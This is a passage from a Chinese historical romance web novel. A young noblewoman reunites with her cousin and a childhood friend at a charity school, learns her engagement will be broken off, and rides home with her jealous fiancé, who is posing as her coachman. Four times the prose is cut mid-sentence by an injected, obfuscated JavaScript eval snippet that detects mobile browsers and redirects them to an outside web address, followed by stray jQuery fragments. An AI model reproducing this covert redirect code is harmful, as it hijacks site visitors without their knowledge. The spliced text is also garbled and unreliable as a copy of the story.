虽然他不太爱说话,有时候还凶了一点,但,但起码长得很俊,就算他说了什么不好听的话,只看那张脸也能原谅他。
盛乔一边胡思乱想着,一边去敲徐少安的房间门。
房门很快被推开。
“小娘子?”徐肃年只穿一身单衣出现在门口。
盛乔心里惦记着郑墨,没注意他的衣裳,也没有多话,直接道:“快些换衣服,陪我去一个地方。”
说话时就有些迫不及待,仿佛已经见到了郑墨似的,没忍住笑了一下,催促道:“快点哦。”
见她笑得这么灿烂,徐肃年整个人都被晃了一下,这么开心,是要去做什么?
徐肃年微不可察地蹙了下眉,很快换了一身衣裳,到楼下找盛乔汇合。
“小娘子,我们去哪?”徐肃年问。
盛乔把郑墨信上的地址给他看,“到这里。”
徐肃年本以为她是要去买东西,或是去酒楼之类的地方,没想到那上面写的竟然是一处宅子。
小娘子在洛州人生地不熟,怎么突然要去这个地方,难道是去她外祖家?
可到了之后,却发现那根本不是什么人家的私宅,反而安静得像是一座书院。
盛乔已经迫不及待地跳下了马车,甚至徐肃年下意识想去扶她的时候,都没能碰到她的手臂。
门口的守卫将盛乔拦住,“小娘子找谁?”
盛乔从怀里摸出那枚鱼形佩,递给守卫,“我找郑墨,麻烦大人把这个交给郑娘子,她看过自会知晓。”
其中一名护卫接过,推门进去通报了,另一人很是客气地让盛乔稍等。
大约一刻钟后,半敞的大门里传来一阵急促的脚步声,盛乔若有所知,抬头看向门内,果然是郑墨正拎着裙摆朝她疾奔而来,激动道:“阿乔!”
她的声音之大,连站在马车边的徐肃年都听到了。
阿乔。
这么多天了,这还是徐肃年第一次知道盛家这位小娘子的名字,阿乔,难道她叫盛乔么?
这样想着,他的视线也不自觉地投到了门边。
只见一个穿着墨蓝色窄袖男装的年轻女子毫不矜持地冲到盛乔身边,两人凑在一块不知说了什么话,然后便夸张地抱到了一起。
一边抱着,一边还要转圈尖叫,门边的两个守卫都不自觉地捂住了耳朵。
两个小女郎却没有半点自觉,盛乔甚至激动地眼眶都红了,一边胡乱地喊着表姐表姐,一边拿袖子去抹眼泪。
“哎呀我的小娘子,怎么这么邋遢呀。”郑墨原本也有些眼眶发酸,看到她这幅模样,又有些忍俊不禁,好歹也是大家出身的小娘子,出来没几天,已经半点礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279244|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仪规矩都不顾了。
她忍笑着掏出帕子,一手捧着盛乔的小脸,一手给她擦眼泪,嘴里还不住地轻哄着,“好了好了,别哭了,姐姐在这呢。”
若不是早知道她们两个都是女郎,只看她们身上的衣裳,还以为是一对依偎缱绻的情人爱侣。
徐肃年远远看着,微不可察地蹙了下眉。
哭什么?不知道的还以为这段时间受委屈了呢。
他在心里猜测那女子的身份。
路上这段日子,其实盛小娘子很少提起自己的家人,唯有一个在江州的表姐,她时常挂在嘴边,看她对这个女子亲密依赖的样子,估计八/九不离十了。
这幸好只是女子,若是个男子,这么亲密,岂不是就不用费劲地逃婚了。
徐肃年没忍住冷哼一声,忽然视线一偏,看到门内又走出来一个人。
这回却是个实打实的男子,虽然看不清脸,身形却很是挺拔。
徐肃年缓缓站直身子,眯了眯眼睛。
这又是谁?
和他一样,盛乔也有些茫然,一脸疑惑地看向郑墨,“表姐,这是……”
郑墨看了那男子一眼,笑着问盛乔,“阿乔当真不认识他了,这是纪家六郎呀。”
“纪家……”盛乔愣了愣,看着那男人开始艰难回忆,“是纪明实么?你,你是纪明实?”
纪明实温柔一笑,“多年未见,没想到阿乔还记得我。”
阿乔。
这人也叫她阿乔。
徐肃年的眉头不自觉地蹙了一下。听这人的话,他姓纪,不会是她的表兄,难道是什么幼时的竹马郎君?
他偏头朝盛乔看过去,只见她一副很是欣喜的模样,“真的是你,明实哥哥,你怎么会在洛州?”
明实哥哥。
徐肃年感觉自己的耳朵被什么脏东西刺了一下,他被忽视了这么久,终于再也忍不下去,没事找事地咳了一声。
果然,门边三人的视线全都递了过来。
其中,纪明实和郑墨都是一脸疑虑,徐肃年坦然地回望过去。
半晌,郑墨捅了捅身边的纪明实。
纪明实终于回神,问道:“阿乔,这位是?”
盛乔则是一副懊恼的模样,怎么会把他忘了。
她抱歉的对两人笑了一下,跑到马车旁拉徐肃年。
徐肃年看着小娘子勾在自己臂弯的手,脊背挺得更直。
不料盛乔把他拉过去后,却说的是,“这是我的车夫,表姐。”
11. 退婚
11.
“车夫?”
听到这话,郑墨和纪明实都愣了一下,大约是没想到眼前这个长身玉立的年轻郎君会是车夫。
“这是……”郑墨看着徐肃年,眼睛都要瞪出来,“这是那个徐二?”
“对啊。”盛乔点点头,“他叫徐少安。”
“少安,少安……”
就像盛乔刚听到徐少安这个名字时一样,郑墨低声念叨了两遍,很是不敢相信,“会有车夫叫这个名字么?”
盛乔指着徐肃年,说:“他爹娘都是读过书的。”
郑墨再度抬眼把眼前这个男人打量了一遍,还是觉得很难相信,盛乔指着郑墨手里攥着的那枚鱼形佩,“玉佩和马车都对上了,我人都在你面前了,还有什么不可信的?”
想想也是,这人不是车夫又会是谁。
郑墨不再纠结,笑着对盛乔说:“我们阿乔是真的长大了,能一个人坐马车从长安到洛州,难怪姑姑要给你说亲了。”
还有外人在呢,盛乔羞恼地瞪了她一眼。
郑墨接收到她的眼神,抿唇笑了笑,然后对盛乔说:“好,我不说了,我们先进去吧。”
“好。”
盛乔答应着,和琥珀一起往里走,走了两步又顿住,回头去看徐肃年。
郑墨也跟着她回头,见那车夫仿佛也有跟上来的意思,她微不可察地蹙了下眉,吩咐道:“你去把马车停到马棚,不必跟进来了。”
说完,揽着盛乔走进了大门。
徐肃年顿住没动,就那么看着他们的背影渐行渐远,他站在门槛外,第一次觉得,“车夫”这个原本让他觉得十分方便的身份有些碍事。
另一边,盛乔跟着郑墨一路穿过回廊,也终于发现这里仿佛不是普通的私宅,她奇怪地问:“表姐,这到底是哪啊?”
郑墨神秘一笑,道:“这是一座学堂。”
“学堂?”
郑墨解释道:“去岁我在洛州时,恰逢洛州水患,冲塌了房子,百姓流离失所,许多小孩子无处可归,被官府暂时收容在慈幼局里,当时我便想着要办一个书院,专门教那些无家可归的孩子读书明理。”
“正好我有一个挚交好友,她家在洛州也算名门,有她帮忙,这书院不过几个月便成功筹建起来了,取名济善堂,我这次回洛州也是为的这件事。”
“原来如此。”盛乔点点头,心里却仍有很多疑问,“那你怎么知道我在这?还能给我写信。”
郑墨揉揉她的脑袋,说:“我还不了解你么,洛州是从长安到江州的必经之地,前面路过的那些小镇子哪能入的了你的眼,好容易到一个繁华之地,还不好好玩乐?我猜你就算出门也是全然不会委屈自己的,于是便往洛州最大的几家客栈都送了信,果然堵到你了。”
盛乔有些不好意思,小声替自己辩解,“其实客栈都是徐少安定的。”
郑墨挑挑眉,“看来这个车夫还不错,而且他还挺了解你的嘛。”
盛乔被她说得莫名有些不好意思,嗔怪地推了推她的胳膊,示意她纪明实还在一旁站着呢。
纪明实也是识趣的人,知道这两姐妹许久没见,定然有很多话要说,于是找借口道:“这时辰学生们差不多午睡起来了,我去瞧瞧,阿墨你再陪阿乔再逛逛吧。”
说完,他朝两个女郎揖了一礼,转身离开了。
盛乔看着他离开的背影,感慨般地叹了句,“没想到他都长这么高了。”
这话的语气实在有些老气横秋,郑墨噗嗤一下笑出声来,“不知道的以为你多大了。”
盛乔说:“只是觉得,我和纪明实已经很久没有见过了。”
纪家也曾是世家望族,老宅也在长安城延寿坊,毗邻燕国公府。也正是离得近的缘故,再加上纪明实和盛乔年岁相差不大,两人小时候读的是同一个书院。
若是细算起来,两人也算得上是青梅竹马,两小无猜,但是在盛乔八九岁的时候,纪家不知道犯了什么事,全家都被贬到了南方,之后盛乔便再也没有见过纪明实。
郑墨小时候也在长安盛家住过,她和纪明实也是那时候认识的,此时听盛乔这么说,不由也想到了那时的事,她有些无奈地开口,“你一直在长安,不知道,这些年纪家过得很难。岭南偏远,气候又闷,纪明实的父亲被贬谪后没多久就郁郁去世,他的母亲身染重病,家中仅剩的钱财散尽,纪家,唉……除了他两个出嫁的姐姐,现在只剩纪明实一个了。”
想当年纪家风光几乎不输燕国公府,没想到最后却落了个这样的结局。
盛乔听了很是震惊,心里也跟着有些难受,她默默叹了一声,又问:“那他怎么会在洛州?”
郑墨说:“还好纪明实争气,今年秋闱考中,明年会到长安参加春闱,这是桩大事,正好他二姐嫁到了洛州,夫家还算有些本事,便接了纪明实过来,因此他现在是借住在他二姐姐、二姐夫家。”
“但毕竟纪家远不如从前,他姐姐也过得很艰难,姐夫又不是个好相与的,他为了减轻他二姐姐的负担,便在济善堂当教书先生,赚点束脩当做日常开销。我也是到了洛州之后,才知道纪明实也在济善堂的。”
“原来是这样。”盛乔点了点头,感叹道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279245|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“还真是有缘分啊。”
郑墨显然也是这么想,眸中有笑意轻闪而过,但并未在盛乔面前表现出来。
“阿乔。”她忽然开口,“你是不是真的不想嫁给那个端阳侯。”
“当然了,要不然我何必跑出来呢。”盛乔表情很是坚决。
“那好。”郑墨并不意外,“明日你也搬到济善堂来吧,客栈鱼龙混杂,到底不安全,你还是待在我身边好些。”
盛乔自然也是想待在郑墨身边的,只是……
她犹豫了一下,问:“表姐你之后都留在洛州么。我只怕阿爹会猜到我在这,派人来抓我回家。”
“还用猜啊。”郑墨点点她的额头,“你离家之后能去哪,姑父心里能没数么?”
一边说着,她从怀里掏出一封信,递到阿乔手上,“看看吧。”
盛乔狐疑地打开,看完之后,表情立刻由惊转喜,“阿爹不逼我嫁给徐肃年了?!”
“是啊。”郑墨道,“想来姑父姑母也有苦衷,不过他们还是疼你的,他们说让你暂时待在我身边,先别回京去,等退婚的事情处理好,再来接你。”
郑墨笑着点点盛乔的鼻子,“这下可以放心了吧?”
盛乔欢喜得话都说不出来,抓着那封信不住地点头。
郑墨看她这模样,也有些忍俊不禁,她抬手轻轻捏了捏盛乔的脸颊,又问:“正好我这济善堂里还缺一位女先生,我的小娘子,你愿不愿意来?每月都有月钱的哦。”
“女先生?”盛乔瞪大眼睛,不怎么自信地说,“我,我可以么?”
“当然了。”郑墨毫不犹豫,“你好歹也读了那么多年书,一手楷书更是姑父亲自教的,那些孩子都是没读过书的孤儿,你教他们还是绰绰有余的。”
听她这么说,盛乔既期待,又有些兴奋。
她从小到大都不怎么出门,成日就是待在家中,偶尔也会觉得无聊、孤独,可她又不知道能做什么,现在不仅有事可做,还有月钱领,盛乔一下子觉得很有干劲。
她答应了郑墨之后,几乎是迫不及待地就要回客栈搬家,她心里憋不住话,在路上就把这件事说了出来。
“留在洛州?”
徐肃年一下子就捕捉到了重点,“小娘子不去江州了么?”
盛乔瞪他一眼,“我表姐都来洛州了,我还去江州做什么?”
徐肃年皱起眉,“洛州离着长安不算远,小娘子不怕你家里……”
这回,他还没把话说完,就被盛乔打断了,她高兴地说:“再不用担心了,因为我阿爹已经答应我,要帮我退婚了!”
12. 歧途
12.
退婚?
这猝不及防的两个字,砸得徐肃年有一瞬间的发蒙。
他第一反应是,为何要退婚?
第二反应是,退婚不是正好么,正合他的意愿。
原本他愿意把盛乔带出长安,就是因为不满这桩婚事,现在盛家欲解除婚约,他应该高兴才对。
徐肃年眸光微闪,没有再出声。
盛乔不知他心里在想什么,还以为他是在替自己高兴,于是接着宣布道:“我不仅要留在洛州,而且我表姐还给我找了份差事做呢。”
“差事?”徐肃年闻言有些意外,“什么差事?”
盛乔便将今日郑墨告诉她的那些济善堂的事讲了一遍,她的语气很是骄傲,虽然这件事和她关系不大,但因为是郑墨做的,她也与有荣焉。
最后,她说:“我要去给那些孩子做女先生。”
女先生?
徐肃年听了这话,险些没笑出声,就盛小娘子这迷迷糊糊的懒散性子,也能教书育人?
徐肃年很努力地克制住表情,可唇边的那一缕笑意还是很快就被盛乔发现了,她瞪大眼睛质问:“徐少安,你在笑什么?”
徐肃年本不想说,可看到小娘子那又气又恼的样子,忽又生出几分坏心,故意道:“没笑什么,只是没想到小娘子还识字。”
这是什么话。
盛乔气得差点从车厢里冲出来,愤愤道:“我当然识字了,难道我平时很像个笨蛋么?”
她觉得这人会有这样的怀疑,简直不可理喻,努力为自己辩解道:“我六岁、五岁,不,四岁就去学堂念书了,念了好多年的,就比如今天那个纪明实,我们两个就是在学堂认识的。”
“学堂认识的?”徐肃年微微蹙起眉,语气不冷不热,“看来你们认识很久。”
盛乔听出他语气中的异样,却不懂为什么,想了半天,以为是自己提到什么读书、上学,戳到了他的痛处,像徐少安家里的情况,别说请先生,只怕官学也是读不起的。
盛乔有些懊恼,小心翼翼地觑他一眼,问:“你是不是也想念书?”
徐肃年难得也愣了一下,他实在有些追不上这小娘子的思路,“……念书?”
盛乔说:“对啊,你小时候家里不富裕念不了书没关系,但是学无止境,我回头帮你找我表姐要一些书院里的书,你若有什么不懂的,可以问我。”
让他去读那些稚童的书,不懂问她?
徐肃年长这么大,第一次明白什么叫做荒谬。可盛乔的眸光实在太真诚,以至于他竟不知道自己改怎么回答,半晌才道:“我,其实我不是很喜欢读书……”
盛乔却更惊讶了,“你不喜欢读书,那我说让我二叔安排你去参军,你又为何不去?”
“我……”
徐肃年顿了一下,还没想好理由,就听到盛乔说:“难不成你想继续留在我身边?”
“……是。”
没想到真的是这个原因,虽然这个男人胸无大志了些,但对她是真的忠心。
盛乔既无奈,也有些欣喜,想了想,说:“既如此,你就先跟着我吧,你的武艺那么好,就算不做车夫了,当个贴身护卫也不错。”
一下就变贴身护卫了。
正巧他想寻个僻静些的地方落脚,这济善堂不是正合适?
徐肃年这次没再拒绝,答应道:“好,我继续跟着小娘子。”
说定之后,三人第二天就退了客栈的房间,把所有东西都搬到了济善堂。
济善堂所在的院子本是郑墨的好友孟娘子家的一处旧宅,被改造成了学堂,前院做学堂,上课、读书用,后院则劈成两半,分作男女斋舍。
只是学生们都是四人住一处小院,先生们则是两人住。
盛乔自然是和郑墨住一个院子,她和琥珀的房间,都是早就安排好了,意外的是,盛乔竟要把那车夫也带着,还说也让他住在先生们的院子里。
来授课的先生到底还是男子居多,因此男子斋舍这边基本已经住满了,唯有一个纪明实是最新来的,尚无人与他作伴。
郑墨和纪明实商量了一下,干脆把那个车夫塞到了他院子的厢房去住。
当晚,盛乔来徐肃年的院子找他。
再有两日便要正式授课了,郑墨嫌弃她的衣服太过花里胡哨,想带她去买两身得体的素裙,但盛乔想到徐少安刚搬过来,衣裳用具都没置办齐,便婉拒了郑墨,来找他一起了。
没想到纪明实也在,他站在台阶下,怀里抱着两个木盒,明显是来送东西的。
倒是徐肃年这个客人,负手站在台阶上,看着很是冷淡。
盛乔走进去,两个男人同时发现了他,但徐肃年站着没动,纪明实倒是殷勤地迎了上去,“阿乔,你怎么过来了?”
他的语气很温柔,“是不是找有事找少安兄?”
听到他那句少安兄,徐肃年心里无声地冷笑,还真是位翩翩君子。
盛乔倒是很吃这套,平日面对他时的娇蛮劲儿完全看不见了,竟还不好意思起来,细声细气地,“明实哥哥,你,你也在啊。”
听到那声“明实哥哥”,他明显唇边弧度更深,温柔道:“我想着少安兄刚搬过来,不知还有什么缺的,便过来看看。”
虽说纪家已经落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279246|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
败,但纪明实到底是世家出身,他对徐少安这个车夫竟没有半点轻视,反而处处周到。
其实盛乔已经不记得小时候的纪明实是什么性格的人了,对现在的他有些陌生,但也难免让她心生好感。
有哪个小娘子会拒绝一个长相英俊,性格温和有礼的翩翩君子呢?
更何况他还是你久别重逢的竹马。
盛乔毫不吝啬对纪明实的夸奖,“明实哥哥,你真是细心。”
纪明实勾了勾唇角,说:“举手之劳罢了,阿乔这么夸我,我可要觉得无地自容了。”
两人一来一往,仿佛已经完全忘了旁边还站着一个人。
徐肃年的眼睛眯了起来。
半晌,他突兀地咳了一声,插话道:“小娘子来找我是有什么事么?”
盛乔险些忘了自己来的目的,被他这么一提醒才想起来,“刚搬过来,好些东西都没置办齐,我想让你陪我出门逛逛。”
徐肃年毫不意外,立刻道:“好。”
说着,他直接走到盛乔身边,“现在就走吧。”
不料盛乔却看向纪明实,“明实哥哥,你要一起么?”
徐肃年站在盛乔身后,视线不动声色地停在纪明实身上。
似有一瞬间的犹豫,但他最终还是点头应下了,“好。”
还真是阴魂不散。
徐肃年掩下眸底的冷笑,到底是没说什么。
当然,他也不能说什么,毕竟他现在只是一个车夫。他只能看着这两人并肩走在前面,自己则像个小厮似的缀在后面。
他忽然生出一股想和盛乔说明一切的冲动,但理智告诉他,如果盛乔真的知道他是谁,或许两人连同车的机会都没有了。
她并不期待他们的婚约,甚至有些怕他。
他不会忘记盛乔曾经在病中是怎么称呼自己的,在她眼里,他是杀人不眨眼的魔鬼。
但他没办法怪她,这些年他的名声一直不好,除了旁人的手笔,其中也未尝没有他自己刻意纵容的原因。
他一向不在意这些虚名,这一刻忽然有些后悔。
盛乔怕他,要和他退婚,那她喜欢什么样的?
徐肃年的目光移到前面的纪明实身上——
一个手无缚鸡之力的穷书生,也敢肖想燕国公府的小娘子,还真是没有自知之明。
盛乔的眼光还真是差,这样的男人怎么配得上她?
徐肃年心想,就算他和盛乔不会成婚,毕竟同行一场,不能眼睁睁看着她误入歧途。
这样想着,徐肃年看着不远处的马车,忽然提议道:“春光正好,小娘子想不想骑马?”
13. 共骑
13.
“骑马?”
盛乔听到这话,本欲上马车的动作立刻顿住。
她自然是想骑的,时下民风开放,小娘子骑马上街并不稀奇,盛乔小时候也学过骑马。但她连府门都很少出,更别提骑马上街了,一时又有些犹豫。
相处这么多天,徐肃年对她的性子早已十分了解,此时只看她的表情,也能大约猜到她心里在想什么。
他没说什么劝说的话,只走过去把马车解开,然后动作利落地翻身上马。
盛乔被他的动作吓了一跳,仰头看他。
徐肃年居高临下地和她对视,屈指轻刮了一下眉峰,而后朝她伸出手,故意问:“难道小娘子是不敢骑马?”
这叫什么话,盛乔气鼓鼓地瞪大眼睛。
虽然盛乔的父亲现在是文官,可盛家祖上乃是武将,是跟着太祖打天下的八位功臣之一,立下的战功数不胜数,盛家的后辈无论男女,没有不会骑马的。
盛乔不愿被人瞧扁了,她看着男人递过来的手,轻哼一声,没理会,而是走到了另一匹马的旁边。
虽然已经很久没骑了,但一握到缰绳,那些学过的技巧仿佛全都回忆起来了,盛乔踩着马镫翻上马背,得意地朝徐肃年抬了抬下巴。
徐肃年掩住眼底的笑意,转而去看纪明实,“纪郎君,怎么还不上马?”
纪明实神情未变,实则内心有些犹豫。
大梁朝有规矩,文官乘车,武官骑马。他是读书人,又是有身份的举人,将来是要入中书省的,哪能当街骑马,抛头露面。
更何况,他此次来洛州是借住在姐夫家,为的是安心读书,若是让姐夫府上的人看到他在街上骑马闲逛,只怕连二姐姐也要跟着吃挂落。
他看着高高坐在马背上的盛乔,内心滋味很是复杂,既羡慕,又有些自卑。
他忍不住想,如果当初纪家没有出事,那现在还是长安城数一数二的勋贵之家,他和阿乔也就不会分开,更不会重逢在他如此窘迫之时。
他甚至不如阿乔身边的一个下人,连陪她骑马都不敢。
好在只是一时的,只要等他考中状元入了官场,一切都会变好的。
攥在袖中的手紧了紧,纪明实说:“我忽然想起今天晚上还要回我二姐家,今日就不去了。”
他的话风转得突兀,盛乔也听出不对来,可又不知为什么,只得有些遗憾地点了点头,“那好吧,日后有机会再一起。”
徐肃年却并不意外,他在朝廷这些年,最是了解这些文人的性子,说好听点叫自有风骨,若是不好听,就是酸腐固执。
当街骑马这样张扬的事,他当然不愿意。
徐肃年无声地嗤笑一声,握着马鞭回头看向盛乔,“走吗?”
这人是真没礼貌,尤其和明实哥哥一比。
盛乔心中腹诽,但到底没当着外人的面斥责他,只不疼不痒地瞪了他一眼,然后对纪明实说:“那我们走了。”
停靠马车的西门离着街巷不远,盛乔不认识路,便跟在后面,直到穿过了两条街,到了洛州最繁华的地段后,徐肃年勒住缰绳,回头看着落下一截的盛乔,慢声问道:“怎么一直跟在我后面,纪明实不出来,你连街市都不想逛了?”
他的语气实在过于阴阳怪气,听得盛乔直皱眉,她纵马上前,忍不住问他:“明实哥哥招惹你了么?你怎么好像很讨厌他的样子。”
这么明显么?徐肃年挑了下眉,否认,“没有。”
可他的语气实在很硬,盛乔抿唇思索半晌,问:“明实哥哥是读书人,你是不是有些羡慕他?”
没想到她还会安慰自己,徐肃年微微一愣。
盛乔见他愣住,以为他是默认了。于是也不再追问,只温声安慰道:“其实读书并非是唯一的出路,你不必羡慕别人。”
“而且……”她故意顿了一下,看着男人疑惑地看过来,才接着道,“哪有学堂只授四书五经,不教骑马射箭的。我已经和我表姐商量过了,骑射这一科就暂时由你来教。”
“我?”徐肃年一愣。
“对啊。”盛乔点了点头,“我估计会在洛州多待些日子,而且整日待在书院,门都不出,我怕你没事情可做,特意给你找了一桩新差事,清闲体面,还能再多拿一份月钱。”
这份体面徐肃年并不想要,他毕竟还有正事要做,卢烨那边根本应付不了那些官场的老油壶,他实在没工夫再陪小娘子闲暇玩闹。
可不知为何,他每次一看到盛乔的那双眼睛,拒绝的话就再也说不出口了。
他无奈地摇了摇头,“好,多谢小娘子。”
听他答应,盛乔明显更高兴了一些。
徐肃年看着她纵马往前,从自己身边经过时,圆圆的眼睛弯成了月亮。
徐肃年压住唇角将要扬起的弧度,慢悠悠地跟着盛乔一起往闹市里走。
其实也没什么要买的,但盛乔一逛起来就忘了时间,以至于两人打道回府时,太阳都已落山。
繁闹的主街早已点上了灯,周边的小巷却是昏暗一片,盛乔骑在马上没注意看路,不知马蹄踩到了什么,忽然颠簸了一下。
彼时她正和徐肃年说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279247|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,手里也没扯着缰绳,这猝不及防的一下,险些把她从马背上甩下去。
盛乔吓得惊叫一声,好在徐肃年就在旁边,眼疾手快地捉住了她的手臂,将她歪斜的身子扶回了马背上。
徐肃年勒住缰绳,问:“没事吧?”
“没事。”盛乔心有余悸地拍拍胸口,“吓死我了。”
夜色更深,月色也算不上明亮,狭小的巷子昏窄幽暗。徐肃年听出她的声音都在发抖,明显是被吓到了。
犹豫了一瞬,徐肃年还是道:“济善堂位置偏远,回去路上多的是这样的小巷子,不如小娘子和我骑一匹马。”
盛乔愣了一下,“骑一匹?”
那会不会有些太亲近了……
盛乔很是犹豫,“还是算了,回去没多远了。”
其实徐肃年方才之所以会犹豫,也是因为男女共骑一匹难免会贴得太近。但此时听到盛乔的话,他又有些不悦,先前趴他背上的让他背着走的又是谁。
不过这话徐肃年自然不会说出来,只淡淡应声道:“听小娘子的。”
但两人还没走出这条窄巷,忽然不知从哪又传来一声异响,虽然没惊到马,却实实在在地吓到了盛乔。
什么男女大防,她瞬间就忘光了。
“徐少安。”借着那一点月光,盛乔看向一直跟在自己身后的男人,“你能不能坐到我的马上来,我,我还是有点害怕。”
徐肃年无声地收回手,说:“马背太窄,我只怕会冒犯到小娘子。”
盛乔嫌他啰嗦,语气里带了点急切,“不会的,你小心一点不就好了。”
知道她是真的害怕,徐肃年也不再故意废话,很快跳下马,然后踩着马镫坐到了盛乔的身后。
马背很窄,坐两个人实在有些拥挤,为了避免太多的身体接触,盛乔坐得靠前,脊背也下意识地向前倾。
徐肃年握着缰绳,两手虚虚环着盛乔,能感觉到她在竭力避嫌,整个人几乎缩成了一小团。
两人之间的距离,几乎还能再塞进去一个人。
幽深的夜色照不到徐肃年眸中的情绪。
正好此时两人走出巷子,他握着缰绳的手微不可察地收紧了半寸,马儿扬蹄,盛乔被迫后仰,整个人直接就滑进了身后的怀抱。
男人的胸口太硬,盛乔被砸地蝴蝶骨生疼,哎呦一声叫出声。
徐肃年微微倾身,一低头就能看到女郎耳垂上的红宝石坠子。
摇摇晃晃,仿佛无声的勾引。
徐肃年不动声色地勾了勾唇,“小娘子,怎么这么不小心。”
14. 决定
14.
两人先前也不是没有过亲密的接触,可那时盛乔是趴在他背后,总觉得好像隔着什么似的,盛乔从未往男女之间想过。
但此时此刻,她几乎是整个人被圈在了男人的怀里,这样的姿势,让她莫名生出一股不自在来。
理智告诉她,这样的距离实在有些过于亲近,可周围一片漆黑,安静得只能听到风吹树梢的沙沙声,刚刚又差点摔下马去,盛乔只觉得脊背发凉,现在躲在男人的怀里,她一下觉得很有安全感。
只是这样的念头实在不够矜持。
幸而天色已晚,她又坐在前面,身后的人看不到她的表情,也就不会知道她在想什么。
盛乔一边在心里悄悄唾骂自己,一边又不动声色地往身后靠了靠。
徐肃年几乎全部心思都放在怀里的小娘子,连她藏在颈间的一缕青丝都瞧得轻轻楚楚,遑论是那么明显的动作了。
平整的小路突然变得颠簸起来,马儿也不驯服,两人就这样越挨越近,越挨越近,直到两人的身子紧紧贴在一起。
单薄的春衫完全挡不住男人胸膛传来的温度,盛乔像是被烫到了似的,不自觉往前躲了一下。
可她才刚往前倾了半寸,腰身就立刻圈住,一把拖了回去。
这下比方才坐得更近,两人之间已经半点空隙都没有了,盛乔稍一仰头,鼻尖就能撞上男人的下巴。
“你,你这是做什么?”
盛乔看着搂在自己腰间的手臂,紧张得语气都有些不自然。
徐肃年倒是很淡定,“我以为小娘子又要掉下去了。”
“没有……”盛乔不知道怎么解释,支吾半晌,只得不自在地推了他一下,“反正没有,你松开我吧。”
男人却用怀疑的语气问她,“若是再有什么颠簸,你确定自己不会掉下去?”
这下盛乔也不确定了,犹豫了半天,还是觉得自己的安危最重要,反正抱都抱了,也不差这一会儿。
盛乔在心里安慰自己,妥协道:“那好吧。”
虽然她已经在极力掩饰自己的不情愿了,但徐肃年又如何听不出来。
他几乎能想象到这小娘子拧着秀眉,微微撅起嘴巴的模样,娇嫩的双颊像一只圆润的苹果,精致到让人想上手捏一下。
徐肃年控制不住地想笑,可等唇角勾起时,他又有一瞬间地愣怔,他这是在做什么,他为何要想这些东西,盛家小娘子什么模样,又与他何干?
眼底的情绪瞬间消失殆尽,连同握在盛乔腰间的手都松了松。
盛乔感觉到了腰间的松动,奇怪地转身看他,虽然她根本看不见他的表情,却能感觉到他情绪的变化。
“你怎么了,怎么又松开了?”
今晚的月光不算皎洁,却恰好能够照亮盛乔的眼睛。
她的眼睛清澈如水,清晰得映出了他的犹豫。
徐肃年低头和她对视了一眼,握在她腰间的手掌瞬间收紧,沉声道:“不会再松开了。”
他何必犹豫?
盛乔本就是他的未婚妻,别说还没退婚,就算是退了婚又怎么样?
只要是他徐肃年想要的,就没有得不到的。
等两人慢悠悠回到济善堂时,月已过柳梢,进了门,徐肃年先下马,把今日买回来的东西都交给了迎上来的几个小厮,然后伸手去扶盛乔。
当着许多人的面,盛乔不好意思再与他拉拉扯扯,拂开他的手想要自己下马,却被握住了手腕。
徐肃年根本没给她拒绝的机会,直接把她从马背上抱了下来。
“徐少安!”盛乔惊恐地瞪大眼睛,落地之后第一反应就是锤他的肩膀,“你疯啦!”
徐肃年抚了抚一点都不痛的肩膀,一本正经道:“我是担心小娘子摔倒。”
他的表情实在太过无辜,盛乔就算有脾气也发不出来了。
徐肃年掩去唇角的弧度,没再说什么。
女子斋舍离得远,徐肃年将她送回去之后,才回了自己的院子。
这院子不算大,且是他和纪明实两人共住,徐肃年特意留意了一下纪明实住的主院,没有点灯,不知是睡了还是真的没在。
总之院中一片寂静,徐肃年干脆连房间都没进,悄然离开了济善堂。
齐源当时买下的宅子离这里不算远,徐肃年不过一刻钟就到了宅子的后门。
齐甄一早在门外等着,一见他立刻迎了上来,“郎君,您来了。”
徐肃年问:“卢大人来了吗?”
齐甄引他进门,“已经在小厅等您了。”
